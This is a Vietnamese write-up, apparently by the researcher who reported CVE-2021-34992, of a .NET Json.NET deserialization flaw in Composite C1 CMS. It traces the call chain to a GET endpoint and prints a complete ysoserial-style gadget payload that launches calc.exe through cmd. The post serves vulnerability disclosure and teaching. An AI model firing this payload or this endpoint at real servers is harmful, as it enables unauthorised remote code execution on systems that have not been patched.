Cách đây một khoảng thời gian mình bắt đầu học về lỗ hổng .NET deserialize dẫn đến RCE. Và cũng như bao người khác, mình học bằng cách tìm và phân tích lại những CVE trước đó. Và mình lựa chọn CVE-2019-18211 vì mình có tìm kiếm và đọc được bài phân tích của tác giả CVE trên tại https://medium.com/@frycos/yet-another-net-deserialization-35f6ce048df7. Và may mắn thay trong quá trình mình dựng lại bug này thì mình đã tìm thêm được một bug khác cũng có thể dẫn tới RCE ở ngay gần sink của CVE-2019-18211(mình không rõ tại sao tác giả lại không tìm ra bug đó mặc dù chúng khá là gần nhau). Và lỗ hổng mình tìm ra được đánh số là CVE-2021-34992. Trong bài này mình sẽ trình bày lại cách mà mình tìm ra lỗ hổng này. Bắt đầu thôi nào.
Set up debug
Về việc download và setup debug mình đã trình bày trong bài phân tích trước đó. Nếu các bạn chưa đọc có thể đọc lại tại link sau: https://viblo.asia/p/think-out-of-the-box-trong-viec-tim-kiem-lo-hong-net-deserialization-djeZ1zw8lWz (Lưu ý phiên bản ảnh hưởng là phiên bản <=6.10)
Phân tích CVE-2021-34992
Đối với các công việc phân tích các ứng dụng .NET thì công việc đầu tiên của mình là phải lấy hết các file dll mà ứng dụng đó sử dụng ra. Mình thường sử dụng cmd sau trên wsl để lấy hết dll và đưa vào 1 thư mục khác find . -name '*.dll' -print0 | xargs -0 cp -t /dll/
. Sau đó mình sử dụng dnspy
để extract hết đống dll này ra code C#. Như mình đã nói thì CVE này mình tìm ra trong quá trình phân tích lại CVE-2019-18211. Nhưng mình sẽ đi theo hướng mà mình đi tìm bug mà mình thường làm nhé. Sau khi đã có code C#, mình mở cả folder bằng VS code để tiện cho việc tìm kiếm. Mình focus vào lỗ hổng deserialization, nên mình sẽ sử dụng những regex phổ biến để tìm kiếm, về vấn đề sử dụng regex gì thì mình có tìm được 1 bài viết nói rất chi tiết về lỗ hổng deserialization trong các ngôn ngữ khác nhau: https://klezvirus.github.io/Advanced-Web-Hacking/Serialisation/. Ở đây thì mình sử dụng TypeNameHandling
, lý do vì sao lại search cái này, đơn giản bởi vì nếu ứng dụng sử dụng newtonsoft để deser json về object mà có option typenamehandling khác NONE
thì khả năng cao là chúng ta có thể khai thác lỗ hổng tại đó dẫn tới RCE được
Và cho mình kết quả như sau:
Rất may là trong CompositeJsonSerializer
sử dụng rất nhiều TypeNameHadling với giá trị khác NONE
. Đi vào để xem chi tiết. Mình chú ý đến đoạn code sau.
Trong đoạn code có sử dụng Binder. Theo mình hiểu thì binder để giới hạn những type nào được phép deser. Nhảy vào bên trong Binder để xem có bị giới hạn gì không.
Đọc code thì thấy nếu assemblyName
bằng Composite.Generated
và typename
bắt đầu bằng CompositeGenerated.
thì sẽ có đoạn code xử lý riêng, tuy nhiên với những trường hợp còn lại thì code sẽ gọi đến base.BindToType(assemblyName, typeName)
tức là DefaultSerializerBinder
. Hoàn toàn không có bất kì tác dụng bảo vệ nào ở đây. Quay về với method Deserialize của chúng ta. Đây rõ ràng là 1 sink hoàn hảo nếu như ta control được str truyền vào và tìm được type phù hợp (tức là có thể chèn object vào). Tiếp tục sử dụng chức năng findUsage
để trace.
Ra rất nhiều nhưng mình chú ý đến đoạn code sau:
Thực hiện rất nhiều bước để xử lý string truyền vào và để đến được method Deserialize phải pass qua kha khá điều kiện. Tuy nhiên khi nhìn qua thì hoàn toàn ta có thể control được đoạn code này từ string truyền vào. Vấn đề là ta có control được string truyền vào hay không. Tiếp tục trace tiếp thì thấy hàm Deserialize này được gọi ở EntityTokenSerializerDeserialize(string serializedEntityToken,bool includeHashValue)
.
Nếu như các bạn đã đọc bài phân tích trước về CVE-2019-18211 thì sẽ thấy rất quen vì đây chính là nơi trigger được RCE. Và đây cũng là lý do mình băn khoăn sao tác giả CVE-2019-18211 lại không tìm ra thêm 1 lỗ hổng khác nữa cùng chỗ đó. Đến đây thì đơn giản rồi, các bạn có thể hoàn toàn sử dụng chain như CVE-2019-18211 để đi từ user inout để đến đây. Nhưng để học hỏi thì mình không dừng lại ở đó. Mình muốn tìm 1 endpoint khác, không phải POST request, mình muốn GET để ăn ngay cơ ). Và thế là mình lại trace tiếp. Và mình tìm thấy class này Spikes_RelationshipGraph_Default.Page_Load(object sender, EventArgs e)
Tuyệt vời, nó nhận string từ param EntityToken
và truyền thẳng vào hàm Deserialize. Endpoint của class này là /Composite/content/views/relationshipgraph/Default.aspx
Như vậy chúng ta chỉ cần get request như sau: /Composite/content/views/relationshipgraph/Default.aspx?EntityToken={PAYLOAD}
là có thể RCE (hiện tại mới chỉ là có thể thôi nhé, vì chúng ta chưa tìm được chỗ để chèn object vào).
Quay ngược về hàm EntityTokenSerializerDeserialize(string serializedEntityToken,bool includeHashValue)
, chúng ta cần tìm trong object graph của class EntityToken
xem có thuộc tính nào nhận object hay không. Sau khi check thì tiếc là mình không tìm thấy chỗ nào cả. Tuy nhiên mình có thể tiếp tục tìm kiếm những class kế thừa class EntityToken
xem có class nào thỏa mãn điều kiện hay không (tức là có chỗ nhận object). Và mình tìm được class sau DataGroupingProviderHelperEntityToken
bạn thấy chứ, chúng ta có thể chèn object vào GroupingValues
. Đến đây thì mọi thứ chúng ta cần để có thể RCE đều đã đạt được. À mình quên mất một xíu đó là để có thể RCE chúng ta cần lắt léo hơn 1 xíu để pass hết đống điều kiện để đến được hàm Deserialize như mình đã nói ở trên đó là string phải bắt đầu bằng meta:obj
theo sau đó là payload của chúng ta, type sẽ lấy ra từ meta:type
. Để nhảy vào method Deserialize thì method ở MethodInfo method = type.GetMethod(nameof (Deserialize), BindingFlags.Static | BindingFlags.Public);
bắt buộc phải là null, giải quyết cái này cũng đơn giản, mình chọn 1 class nào đó không có method Deserialize rồi đưa vào là được.
Túm cái váy lại thì chúng ta có chain như sau:
Spikes_RelationshipGraph_Default.Page_Load(object sender, EventArgs e)
=> EntityTokenSerializer. Deserialize(string serializedEntityToken)
=> EntityTokenSerializer.Deserialize( string serializedEntityToken, bool includeHashValue) => CompositeJsonSerializer.Deserialize<T>(string str, bool isSigned) => CompositeJsonSerializer.Deserialize<T>(string str) => JsonConvert.DeserializeObject<T >(str, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.Auto, Binder = CompositeSerializationBinder.Instance });
Payload mình sử dụng như sau:
{"meta:obj":"{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken,Composite','Type':'Composite.C1Console.Trees.TreeDataFieldGroupingElementEntityToken','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String,mscorlib],[System.Object,mscorlib]],mscorlib','test':{'$type':'System.IdentityModel.Tokens.SessionSecurityToken,System.IdentityModel,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089','SessionToken':{'$type':'System.Byte[],mscorlib','$value':'QBRTZWN1cml0eUNvbnRleHRUb2tlbkAHVmVyc2lvboNAGVNlY3VyZUNvbnZlcnNhdGlvblZlcnNpb26ZKGh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDIvc2NAAklkg0AJQ29udGV4dElkg0ADS2V5nwEBQA1FZmZlY3RpdmVUaW1lg0AKRXhwaXJ5VGltZYNAEEtleUVmZmVjdGl2ZVRpbWWDQA1LZXlFeHBpcnlUaW1lg0APQ2xhaW1zUHJpbmNpcGFsQApJZGVudGl0aWVzQAhJZGVudGl0eUAOQm9vdFN0cmFwVG9rZW6ayARBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBdGdVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0T0NJL1BnMEtQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaUJOWlhSb2IyUk9ZVzFsUFNKVGRHRnlkQ0lnU1hOSmJtbDBhV0ZzVEc5aFpFVnVZV0pzWldROUlrWmhiSE5sSWlCNGJXeHVjejBpYUhSMGNEb3ZMM05qYUdWdFlYTXViV2xqY205emIyWjBMbU52YlM5M2FXNW1lQzh5TURBMkwzaGhiV3d2Y0hKbGMyVnVkR0YwYVc5dUlpQjRiV3h1Y3pwelpEMGlZMnh5TFc1aGJXVnpjR0ZqWlRwVGVYTjBaVzB1UkdsaFoyNXZjM1JwWTNNN1lYTnpaVzFpYkhrOVUzbHpkR1Z0SWlCNGJXeHVjenA0UFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJK0RRb2dJRHhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VDJKcVpXTjBTVzV6ZEdGdVkyVStEUW9nSUNBZ1BITmtPbEJ5YjJObGMzTStEUW9nSUNBZ0lDQThjMlE2VUhKdlkyVnpjeTVUZEdGeWRFbHVabTgrRFFvZ0lDQWdJQ0FnSUR4elpEcFFjbTlqWlhOelUzUmhjblJKYm1adklFRnlaM1Z0Wlc1MGN6MGlMMk1nWTJGc1l5NWxlR1VpSUZOMFlXNWtZWEprUlhKeWIzSkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRk4wWVc1a1lYSmtUM1YwY0hWMFJXNWpiMlJwYm1jOUludDRPazUxYkd4OUlpQlZjMlZ5VG1GdFpUMGlJaUJRWVhOemQyOXlaRDBpZTNnNlRuVnNiSDBpSUVSdmJXRnBiajBpSWlCTWIyRmtWWE5sY2xCeWIyWnBiR1U5SWtaaGJITmxJaUJHYVd4bFRtRnRaVDBpWTIxa0lpQXZQZzBLSUNBZ0lDQWdQQzl6WkRwUWNtOWpaWE56TGxOMFlYSjBTVzVtYno0TkNpQWdJQ0E4TDNOa09sQnliMk5sYzNNK0RRb2dJRHd2VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJK0N3PT0BAQEBAQ=='}}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Trees.TreeDataFieldGroupingElementEntityToken'}","meta:type":"System.Runtime.Serialization.SerializationException"}
Về phần code để ra được payload như nào các bạn tự làm nhé (mình dùng ysoserial .net để gen payload rồi đưa vào phần object của mình)
Kết quả đạt được
Chú ý là mình cần phải authen user với quyền bất kì mới có thể RCE được nhé.
Cảm ơn mọi người đã đọc bài viết của mình, có thắc mắc gì mọi người cmt dưới bài viết nhé!!!